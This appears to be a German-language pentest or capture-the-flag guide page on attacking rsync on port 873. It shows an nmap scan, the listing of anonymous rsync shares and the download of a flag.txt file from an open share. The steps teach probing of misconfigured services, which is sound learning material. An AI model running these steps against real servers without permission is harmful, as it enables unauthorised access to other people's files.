873 - rsync
1. Zielbeschreibung
rsync
ist ein schnelles und vielseitiges Tool zum Kopieren von Dateien, das häufig in Linux-Umgebungen eingesetzt wird. Im Gegensatz zu FTP bietet rsync
die Möglichkeit, nur Änderungen (Deltas) zu übertragen, was besonders effizient für Backups und Synchronisierungen ist. Bei einem Pentest von rsync
wird oft untersucht, ob der Dienst falsch konfiguriert ist und anonyme Logins erlaubt.
2. Grundlegender Ablauf
Portscan und Service-Erkennung
Verbindung zum
rsync
-Dienst herstellen und Freigaben auflistenInteressante Dateien extrahieren
3. Portscan und Service-Erkennung
Verwende nmap
, um den Zielhost auf offene Ports zu untersuchen, insbesondere Port 873, der typischerweise von rsync
verwendet wird.
$ nmap -p- -sV {target_IP}
Starting Nmap 7.91 ( https://nmap.org ) at 2024-10-04 10:00 UTC
Nmap scan report for {target_IP}
Host is up (0.23s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
873/tcp open rsync rsyncd 3.1.3
Ergebnisbeispiel:
Port 873:
rsync
-Dienst läuft.
4. Verbindung zum Rsync-Dienst herstellen und Freigaben auflisten
Wenn rsync
anonymen Zugriff erlaubt, kannst du die verfügbaren Verzeichnisse (Shares) auf dem Server auflisten. Verwende die Option list-only
, um die Freigaben ohne Kopieren der Dateien anzuzeigen.
$ rsync --list-only {target_IP}::
public Anonymous Share
backup Backup Directory
Das doppelte ::
gibt an, dass du dich mit einem rsync
-Daemon verbindest. Diese Liste zeigt alle verfügbaren Freigaben, die für einen anonymen Benutzer zugänglich sind.
5. Dateien innerhalb einer Freigabe auflisten
Wähle eine Freigabe aus, die interessant erscheint, zum Beispiel public
, und liste die enthaltenen Dateien auf:
$ rsync --list-only {target_IP}::public
drwxrwxrwx 4096 2024/10/04 12:00:00 .
-rw-r--r-- 128 2024/10/04 12:05:00 flag.txt
-rw-r--r-- 2048 2024/10/04 12:10:00 readme.txt
Ergebnisbeispiel:
Datei
flag.txt
wurde impublic
-Share gefunden.
6. Datei auf das lokale System übertragen
Um die Datei von der public
-Freigabe herunterzuladen, folge der generischen rsync
-Syntax:
rsync {target_IP}::public/flag.txt ./flag.txt
Parameter:
{target_IP}::public/flag.txt
: Pfad zur Quelle auf demrsync
-Server../flag.txt
: Zielpfad auf deinem lokalen Rechner.
Last updated